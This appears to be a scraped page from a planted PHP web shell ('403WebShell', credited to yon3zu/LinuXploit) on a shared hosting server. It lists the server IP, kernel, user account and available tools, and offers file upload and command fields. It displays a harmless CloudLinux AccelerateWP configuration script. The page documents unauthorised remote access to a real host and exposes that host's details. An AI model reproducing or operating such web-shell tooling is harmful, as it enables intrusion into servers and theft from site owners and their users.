Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.148.108.174
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure/awp.py
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# https://cloudlinux.com/docs/LICENCE.TXT
#

import logging
from clconfigure import run, task

from clcommon.clwpos_lib import configure_accelerate_wp
from clcommon.const import Feature
from clcommon.cpapi import is_panel_feature_supported
from clcommon.utils import is_ubuntu

STATUS_ALLOWED_FOR_ALL = 'allowed_for_all'
SUITE_AWP_FREE = 'accelerate_wp'


@task("Enabling Accelerate WP")
def enable_accelerate_wp_free():
    """
    Set AccelerateWP free suite
    """
    if is_ubuntu():
        logging.warning('AccelerateWP setup upon new server is skipped: Ubuntu is not supported')
        return
    if not is_panel_feature_supported(Feature.WPOS):
        logging.warning('AccelerateWP setup upon new server is skipped: Control Panel is not supported')
        return

    try:
        configure_accelerate_wp()
    except Exception:
        logging.exception('AccelerateWP configuration upon new server setup failed')

    # see reasoning in CLPRO-1924
    logging.info('Turning off notifications and automatic WordPress plugin installation')
    run(['/usr/bin/cloudlinux-awp-admin', 'set-options',
         '--smart-advice-notifications', 'off',
         '--smart-advice-wordpress-plugin', 'off',
         '--smart-advice-reminders', 'off'])


@task("Changing Accelerate WP suite {suite} status to {status}")
def set_suite_status(suite: str, status: str):
    """
    Set AccelerateWP suite to desired state.
    """
    if status == STATUS_ALLOWED_FOR_ALL:
        run(['/usr/bin/cloudlinux-awp-admin', 'set-suite', '--suites', suite, '--allowed-for-all'])
    else:
        raise NotImplementedError(f"Currently not implemented status {status}")

Youez - 2016 - github.com/yon3zu
LinuXploit